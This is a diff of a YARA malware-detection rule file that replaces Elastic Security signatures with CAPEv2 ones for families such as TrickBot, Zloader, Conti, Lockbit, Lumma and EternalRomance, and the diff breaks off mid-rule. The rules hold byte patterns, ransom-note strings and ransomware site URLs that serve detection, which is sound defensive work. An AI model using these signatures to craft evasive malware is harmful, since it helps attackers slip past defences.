-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Cuba.yar#L23-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "00f18713f860dc8394fb23a1a2b6280d1eb2f20a487c175433a7b495a1ba408d"
-		logic_hash = "d17ef93943e826613be4c21ad1e41d1daa33db9da0fa6106bb8ba6334ebe1d08"
+		description = "MassLogger"
+		author = "kevoreilly"
+		id = "0743421a-36f7-5b7c-859f-b461511151cb"
+		date = "2020-11-24"
+		modified = "2020-11-24"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/MassLogger.yar#L1-L12"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "c8d82694810aafbdc6a35a661e7431e9536035e2f7fef90b9359064c4209b66c"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "05cfd7803692149a55d9ced84828422b66e8b301c8c2aae9ca33c6b68e29bcf8"
-		severity = 90
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "MassLogger Payload"
 
 	strings:
-		$a1 = "We also inform that your databases, ftp server and file server were downloaded by us to our servers." ascii fullword
-		$a2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
-		$a3 = ".cuba" wide fullword
+		$name = "MassLogger"
+		$fody = "Costura"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and 2 of them
 }
-rule ELASTIC_Windows_Trojan_Revengerat_Db91Bcc6 : FILE MEMORY
+rule CAPE_Trickbot
 {
 	meta:
-		description = "Detects Windows Trojan Revengerat (Windows.Trojan.Revengerat)"
-		author = "Elastic Security"
-		id = "db91bcc6-024d-42da-8d0a-bd69374bf622"
-		date = "2021-09-02"
-		modified = "2022-01-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Revengerat.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd"
-		logic_hash = "1e33cb1d614aae0b2181ebaca694c69e7fc849b3a3b7ffff7059e8c43553f8cc"
+		description = "TrickBot Payload"
+		author = "sysopfb & kevoreilly"
+		id = "dc88eadd-7b84-5bd0-96d1-aad480632bee"
+		date = "2023-02-07"
+		modified = "2023-02-07"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/TrickBot.yar#L1-L20"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "47cc2070b43957601a72745329a9d14fb3fbfd4d2b31cacc35d4ac750dde31ea"
 		score = 75
-		quality = 50
-		tags = "FILE, MEMORY"
-		fingerprint = "9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = ""
+		cape_type = "TrickBot Payload"
 
 	strings:
-		$a1 = "Revenge-RAT" wide fullword
-		$a2 = "SELECT * FROM FirewallProduct" wide fullword
-		$a3 = "HKEY_CURRENT_USER\\SOFTWARE\\" wide fullword
-		$a4 = "get_MachineName" ascii fullword
+		$str1 = "<moduleconfig>*</moduleconfig>" ascii wide
+		$str2 = "group_tag" ascii wide
+		$str3 = "client_id" ascii wide
+		$code1 = {8A 11 88 54 35 F8 46 41 4F 89 4D F0 83 FE 04 0F 85 7E 00 00 00 8A 1D ?? ?? ?? ?? 33 F6 8D 49 00 33 C9 84 DB 74 1F 8A 54 35 F8 8A C3 8D 64 24 00}
+		$code2 = {8B 4D FC 8A D1 02 D2 8A C5 C0 F8 04 02 D2 24 03 02 C2 88 45 08 8A 45 FE 8A D0 C0 FA 02 8A CD C0 E1 04 80 E2 0F 32 D1 8B 4D F8 C0 E0 06 02 45 FF 88 55 09 66 8B 55 08 66 89 11 88 41 02}
+		$code3 = {0F B6 54 24 49 0F B6 44 24 48 48 83 C6 03 C0 E0 02 0F B6 CA C0 E2 04 C0 F9 04 33 DB 80 E1 03 02 C8 88 4C 24 40 0F B6 4C 24 4A 0F B6 C1 C0 E1 06 02 4C 24 4B C0 F8 02 88 4C 24 42 24 0F}
+		$code4 = {53 8B 5C 24 18 55 8B 6C 24 10 56 8B 74 24 18 8D 9B 00 00 00 00 8B C1 33 D2 F7 F3 41 8A 04 2A 30 44 31 FF 3B CF 75 EE 5E 5D 5B 5F C3}
+		$code5 = {50 0F 31 C7 44 24 04 01 00 00 00 8D 0C C5 00 00 00 00 F7 C1 F8 07 00 00 74 1B 48 C1 E2 20 48 8B C8 48 0B CA 0F B6 C9 C1 E1 03 F7 D9 C1 64 24 04 10 FF C1 75 F7 59 C3}
+		$code6 = {53 8B 5C 24 0C 56 8B 74 24 14 B8 ?? ?? ?? ?? F7 E9 C1 FA 02 8B C2 C1 E8 1F 03 C2 6B C0 16 8B D1 2B D0 8A 04 1A 30 04 31 41 3B CF 75 DD 5E 5B 5F C3}
+		$code7 = {B8 ?? ?? 00 00 85 C9 74 32 BE ?? ?? ?? ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 03 F2 8B 2B 83 C3 04 33 2F 83 C7 04 89 29 83 C1 04 3B DE 0F 43 DA}
 
 	condition:
-		all of them
+		all of ($str*) or any of ($code*)
 }
-rule ELASTIC_Windows_Trojan_Dragonbreath_B27Bc56B : FILE MEMORY
+rule CAPE_Trickbot_Permadll_UEFI_Module
 {
 	meta:
-		description = "Detects Windows Trojan Dragonbreath (Windows.Trojan.DragonBreath)"
-		author = "Elastic Security"
-		id = "b27bc56b-41a2-4b3d-bff4-a14b90debe08"
-		date = "2024-06-05"
-		modified = "2024-06-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DragonBreath.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "45023fd0e694d66c284dfe17f78c624fd7e246a6c36860a0d892d232a30949be"
-		logic_hash = "b86d5541a7e03a698ad918cdbba987474c6680353b4d2de2f8422ecd0ebcac61"
+		description = "Detects TrickBot Banking module permaDll"
+		author = "@VK_Intel | Advanced Intelligence"
+		id = "ba104164-0a1a-5a4c-8312-7653f7818e96"
+		date = "2023-02-07"
+		modified = "2023-02-07"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/TrickBot.yar#L22-L38"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "491115422a6b94dc952982e6914adc39"
+		logic_hash = "564055f56fd19bed8900e6d451ba050b4e9013a9208a3bdc3d3d563567d225d2"
 		score = 75
-		quality = 69
-		tags = "FILE, MEMORY"
-		fingerprint = "4bc82f64191cf907d7ecf7da5453258c9be60e5dbaff770ebc22d9629bcbc7e2"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = ""
 
 	strings:
-		$a1 = { 50 6C 75 67 69 6E 4D 65 }
-		$a2 = { 69 73 41 52 44 6C 6C }
-		$a3 = { 25 64 2D 25 64 2D 25 64 20 25 64 3A 25 64 }
+		$module_cfg = "moduleconfig"
+		$str_imp_01 = "Start"
+		$str_imp_02 = "Control"
+		$str_imp_03 = "FreeBuffer"
+		$str_imp_04 = "Release"
+		$module = "user_platform_check.dll"
+		$intro_routine = { 83 ec 40 8b ?? ?? ?? 53 8b ?? ?? ?? 55 33 ed a3 ?? ?? ?? ?? 8b ?? ?? ?? 56 57 89 ?? ?? ?? a3 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 75 ?? 8d ?? ?? ?? 89 ?? ?? ?? 50 6a 40 8d ?? ?? ?? ?? ?? 55 e8 ?? ?? ?? ?? 85 c0 78 ?? 8b ?? ?? ?? 85 ff 74 ?? 47 57 e8 ?? ?? ?? ?? 8b f0 59 85 f6 74 ?? 57 6a 00 56 e8 ?? ?? ?? ?? 83 c4 0c eb ??}
 
 	condition:
-		all of them
+		6 of them
 }
-rule ELASTIC_Linux_Ransomware_Gonnacry_53C3832D : FILE MEMORY
+rule CAPE_Cryptoshield : FILE
 {
 	meta:
-		description = "Detects Linux Ransomware Gonnacry (Linux.Ransomware.Gonnacry)"
-		author = "Elastic Security"
-		id = "53c3832d-ceff-407d-920b-7b6442688fa9"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Gonnacry.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f5de75a6db591fe6bb6b656aa1dcfc8f7fe0686869c34192bfa4ec092554a4ac"
-		logic_hash = "2b7453c4eb71b71e6a241f728b077a2ee63d988d55a64fedf61c34222799e262"
+		description = "Cryptoshield Payload"
+		author = "kevoreilly"
+		id = "a7b60a0d-7d46-59c9-8273-ee23bae3fbbc"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Cryptoshield.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "46064b4c69cb1af01330c5d194ef50728e0f0479e9fbf72828822935f8e37ac6"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "7d93c26c9e069af5cef964f5747104ba6d1d0d030a1f6b1c377355223c5359a1"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Cryptoshield Payload"
 
 	strings:
-		$a = { 55 48 89 E5 48 83 EC 10 48 89 7D F8 EB 56 48 8B 45 F8 48 8B }
+		$a1 = "CRYPTOSHIELD." wide
+		$a2 = "Click on Yes in the next window for restore work explorer" wide
+		$a3 = "r_sp@india.com - SUPPORT"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Windows_Trojan_Nanocore_D8C4E3C5 : FILE MEMORY
+rule CAPE_Zloader : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Nanocore (Windows.Trojan.Nanocore)"
-		author = "Elastic Security"
-		id = "d8c4e3c5-8bcc-43d2-9104-fa3774282da5"
-		date = "2021-06-13"
-		modified = "2021-08-23"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Nanocore.yar#L1-L29"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b2262126a955e306dc68487333394dc08c4fbd708a19afeb531f58916ddb1cfd"
-		logic_hash = "fcc13e834cd8a1f86b453fe3c0333cd358e129d6838a339a824f1a095d85552d"
+		description = "Zloader Payload"
+		author = "kevoreilly, enzok"
+		id = "ce0662b4-c615-5b87-b5c1-173f90a97db2"
+		date = "2024-05-06"
+		modified = "2024-05-06"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Zloader.yar#L1-L18"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "adbd0c7096a7373be82dd03df1aae61cb39e0a155c00bbb9c67abc01d48718aa"
+		logic_hash = "a94efd87c69146cf5771341974e5abe789445d67dde3e045e1b87d3131539ff9"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e5c284f14c1c650ef8ddd7caf314f5318e46a811addc2af5e70890390c7307d4"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Zloader Payload"
 
 	strings:
-		$a1 = "NanoCore.ClientPluginHost" ascii fullword
-		$a2 = "NanoCore.ClientPlugin" ascii fullword
-		$b1 = "get_BuilderSettings" ascii fullword
-		$b2 = "ClientLoaderForm.resources" ascii fullword
-		$b3 = "PluginCommand" ascii fullword
-		$b4 = "IClientAppHost" ascii fullword
-		$b5 = "GetBlockHash" ascii fullword
-		$b6 = "AddHostEntry" ascii fullword
-		$b7 = "LogClientException" ascii fullword
-		$b8 = "PipeExists" ascii fullword
-		$b9 = "IClientLoggingHost" ascii fullword
+		$rc4_init = {31 [1-3] 66 C7 8? 00 01 00 00 00 00 90 90 [0-5] 8? [5-90] 00 01 00 00 [0-15] (74|75)}
+		$decrypt_conf = {83 C4 04 84 C0 74 5? E8 [4] E8 [4] E8 [4] E8 [4] ?8 [4] ?8 [4] ?8}
+		$decrypt_conf_1 = {48 8d [5] [0-6] e8 [4] 48 [3-4] 48 [3-4] 48 [6] E8}
+		$decrypt_conf_2 = {48 8d [5] 4? [5] e8 [4] 48 [3-4] 48 8d [5] E8 [4] 48}
+		$decrypt_key_1 = {66 89 C2 4? 8D 0D [3] 00 4? B? FC 03 00 00 E8 [4] 4? 83 C4 [1-2] C3}
+		$decrypt_key_2 = {48 8d 0d [3] 00 66 89 ?? 4? 89 F0 4? [2-5] E8 [4-5] 4? 83 C4}
+		$decrypt_key_3 = {48 8d 0d [3] 00 e8 [4] 66 89 [3] b? [4] e8 [4] 66 8b}
 
 	condition:
-		1 of ($a*) or 6 of ($b*)
+		uint16(0)==0x5A4D and 1 of ($decrypt_conf*) and (1 of ($decrypt_key*) or $rc4_init)
 }
-rule ELASTIC_Windows_Trojan_Pipedance_01C18057 : FILE MEMORY
+rule CAPE_Kovter : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Pipedance (Windows.Trojan.PipeDance)"
-		author = "Elastic Security"
-		id = "01c18057-258d-4242-928c-26972a2f1e76"
-		date = "2023-02-02"
-		modified = "2023-02-22"
-		reference = "https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PipeDance.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9d3f739e35182992f1e3ade48b8999fb3a5049f48c14db20e38ee63eddc5a1e7"
-		logic_hash = "0c03a725ae930eb829d6a6a9f681489d61aa7f69e72b6b298776f75a98115398"
+		description = "Kovter Payload"
+		author = "kevoreilly"
+		id = "3dec3c4b-4678-5ed1-a4c3-c3d9abb58b1c"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Kovter.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "888fccb8fbfbe6c05ec63bc5658b4743f8e10a96ef51b3868c2ff94afec76f2d"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "01b8c127974ec8e3db0fc68db8d11cd4f4247c0128a8630f64c7bd20726220af"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Kovter Payload"
 
 	strings:
-		$str1 = "%-5d %-30s %-4s %-7d %s" wide fullword
-		$str2 = "PID   Name   Arch Session User" wide fullword
-		$str3 = "%s %7.2f B" wide fullword
-		$str4 = "\\\\.\\pipe\\%s.%d" ascii fullword
-		$seq_rc4 = { 8D 46 ?? 0F B6 F0 8A 14 3E 0F B6 C2 03 C1 0F B6 C8 89 4D ?? 8A 04 0F 88 04 3E 88 14 0F 0F B6 0C 3E 0F B6 C2 03 C8 0F B6 C1 8B 4D ?? 8A 04 38 30 04 0B 43 8B 4D ?? 3B 5D ?? 72 ?? }
-		$seq_srv_resp = { 8B CE 50 6A 04 5A E8 ?? ?? ?? ?? B8 00 04 00 00 8D 4E ?? 50 53 8B D0 E8 ?? ?? ?? ?? B8 08 02 00 00 8D 8E ?? ?? ?? ?? 50 57 8B D0 E8 ?? ?? ?? ?? }
-		$seq_cmd_dispatch = { 83 FE 29 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FE 06 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C6 33 D2 2B C2 0F 84 ?? ?? ?? ?? 83 E8 01 }
-		$seq_icmp = { 59 6A 61 5E 89 45 ?? 8B D0 89 5D ?? 2B F0 8D 04 16 8D 4B ?? 88 0A 83 F8 77 7E ?? 80 E9 17 88 0A 43 42 83 FB 20 }
+		$a1 = "chkok"
+		$a2 = "k2Tdgo"
+		$a3 = "13_13_13"
+		$a4 = "Win Server 2008 R2"
 
 	condition:
-		4 of ($str*) or 2 of ($seq*)
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Windows_Trojan_Emotet_18379A8D : FILE MEMORY
+rule CAPE_Eternalromance : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
-		author = "Elastic Security"
-		id = "18379a8d-f1f2-49cc-8edf-58a3ba77efe7"
-		date = "2021-11-17"
-		modified = "2022-01-13"
-		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Emotet.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827"
-		logic_hash = "2ad72ce2a352b91a4fa597ee9e796035298cfcee6fdc13dd3f64579d8da96b97"
+		description = "EternalRomance Exploit"
+		author = "kevoreilly"
+		id = "34035076-9dda-5e32-bd0b-d0257a96329b"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/EternalRomance.yar#L1-L33"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "5390fae3e2411a715cdc965df8648c0c4c511d53d5f76031714f1b784b58eb0d"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b7650b902a1a02029e28c88dd7ff91d841136005b0246ef4a08aaf70e57df9cc"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 68
+		tags = "FILE"
+		cape_type = "EternalRomance Exploit"
 
 	strings:
-		$a = { 04 33 CB 88 0A 8B C1 C1 E8 08 8D 52 04 C1 E9 10 88 42 FD 88 }
+		$SMB1 = "Frag"
+		$SMB2 = "Free"
+		$session7_32_1 = {2A 02 1C 00}
+		$session7_64_1 = {2A 02 28 00}
+		$session8_32_1 = {2A 02 24 00}
+		$session8_64_1 = {2A 02 38 00}
+		$session7_32_2 = {D5 FD E3 FF}
+		$session7_64_2 = {D5 FD D7 FF}
+		$session8_32_2 = {D5 FD DB FF}
+		$session8_64_2 = {D5 FD C7 FF}
+		$ipc = "IPC$"
+		$pipe1 = "atsvc"
+		$pipe2 = "browser"
+		$pipe3 = "eventlog"
+		$pipe4 = "lsarpc"
+		$pipe5 = "netlogon"
+		$pipe6 = "ntsvcs"
+		$pipe7 = "spoolss"
+		$pipe8 = "samr"
+		$pipe9 = "srvsvc"
+		$pipe10 = "scerpc"
+		$pipe11 = "svcctl"
+		$pipe12 = "wkssvc"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( all of ($SMB*)) and $ipc and ( any of ($session*)) and ( any of ($pipe*))
 }
-rule ELASTIC_Windows_Trojan_Emotet_5528B3B0 : FILE MEMORY
+rule CAPE_Conti : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
-		author = "Elastic Security"
-		id = "5528b3b0-d4cb-485e-bc0c-96415ec3a795"
-		date = "2021-11-17"
-		modified = "2022-01-13"
-		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Emotet.yar#L22-L41"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827"
-		logic_hash = "bb784ab0e064bafa8450b6bb15ef534af38254ea3c096807571c2c27f7cdfd76"
+		description = "Conti Ransomware"
+		author = "kevoreilly"
+		id = "c94aed07-0eaf-5b51-a81e-e1992543673a"
+		date = "2021-03-15"
+		modified = "2021-03-15"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Conti.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "c9842f93d012d0189b9c6f10ad558b37ae66226bbb619ad677f6906ccaf0e848"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Conti Payload"
 
 	strings:
-		$a = { 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66 }
+		$crypto1 = {8A 07 8D 7F 01 0F B6 C0 B9 ?? 00 00 00 2B C8 6B C1 ?? 99 F7 FE 8D [2] 99 F7 FE 88 ?? FF 83 EB 01 75 DD}
+		$website1 = "https://contirecovery.info" ascii wide
+		$website2 = "https://contirecovery.best" ascii wide
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and any of them
 }
-rule ELASTIC_Windows_Trojan_Emotet_1943Bbf2 : FILE MEMORY
+rule CAPE_Lumma : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
-		author = "Elastic Security"
-		id = "1943bbf2-56c0-443e-9208-cd8fc3b02d79"
-		date = "2021-11-18"
-		modified = "2022-01-13"
-		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Emotet.yar#L43-L62"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5abec3cd6aa066b1ddc0149a911645049ea1da66b656c563f9a384e821c5db38"
-		logic_hash = "41838e335b9314b8759922f23ec8709f46e6a26633f3685ac98ada5828191d35"
+		description = "Lumma Payload"
+		author = "kevoreilly"
+		id = "334807ca-8548-5219-8614-7c922368e276"
+		date = "2024-03-13"
+		modified = "2024-03-13"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Lumma.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "5b172496e2488cc3e9cdbd5a08229c3691bafba2fcdbdfd2805c7ac58f9c5751"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "df8b73d83a50a58ed8332b7580c970c2994aa31d2ac1756cff8e0cd1777fb8fa"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Lumma Payload"
+		packed = "0ee580f0127b821f4f1e7c032cf76475df9724a9fade2e153a69849f652045f8"
 
 	strings:
-		$a = { 66 83 38 5C 74 0A 83 C0 02 66 39 30 75 F2 EB 06 33 C9 66 89 }
+		$c2 = {8D 44 24 ?? 50 89 4C 24 ?? FF 31 E8 [4] 83 C4 08 B8 FF FF FF FF}
+		$peb = {8B 44 24 04 85 C0 74 13 64 8B 0D 30 00 00 00 50 6A 00 FF 71 18 FF 15}
+		$remap = {C6 44 24 20 00 C7 44 24 1C C2 00 00 90 C7 44 24 18 00 00 FF D2 C7 44 24 14 00 BA 00 00 C7 44 24 10 B8 00 00 00 8B ?? 89 44 24 11}
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and any of them
 }
-rule ELASTIC_Windows_Trojan_Emotet_Db7D33Fa : FILE MEMORY
+rule CAPE_Lockbit : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
-		author = "Elastic Security"
-		id = "db7d33fa-e50c-4c59-ab92-edb74aac87c9"
-		date = "2022-05-09"
+		description = "Lockbit Payload"
+		author = "kevoreilly"
+		id = "ec9b4fec-0233-5277-b922-07057c2b4b34"
+		date = "2022-06-09"
 		modified = "2022-06-09"
-		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Emotet.yar#L64-L90"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc"
-		logic_hash = "e220c112c15f384fde6fc2286b01c7eb9bedcf4817d02645d0fa7afb05e7b593"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Lockbit.yar#L1-L15"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "80ab705c8246a0bd5b3de65146cf32b102f39bf9444bdf1d366b5a794c1229b9"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Lockbit Payload"
 
 	strings:
-		$chunk_0 = { 4C 8D 9C 24 ?? ?? ?? ?? 8B C3 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B E3 5D C3 }
-		$chunk_1 = { 8B C7 41 0F B7 4C 45 ?? 41 8B 1C 8C 48 03 DD 48 3B DE 72 ?? }
-		$chunk_2 = { 48 8B C4 48 89 48 ?? 48 89 50 ?? 4C 89 40 ?? 4C 89 48 ?? C3 }
-		$chunk_3 = { 48 8B 45 ?? BB 01 00 00 00 48 89 07 8B 45 ?? 89 47 ?? 4C 8D 9C 24 ?? ?? ?? ?? 8B C3 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B E3 5D C3 }
-		$chunk_4 = { 48 39 3B 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 40 0F 95 C7 8B C7 49 8B 7B ?? 49 8B E3 5D C3 }
-		$chunk_5 = { BE 02 00 00 00 4C 8D 9C 24 ?? ?? ?? ?? 8B C6 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B E3 41 5F 41 5E 41 5D 41 5C 5D C3 }
-		$chunk_6 = { 43 8B 84 FE ?? ?? ?? ?? 48 03 C6 48 3B D8 73 ?? }
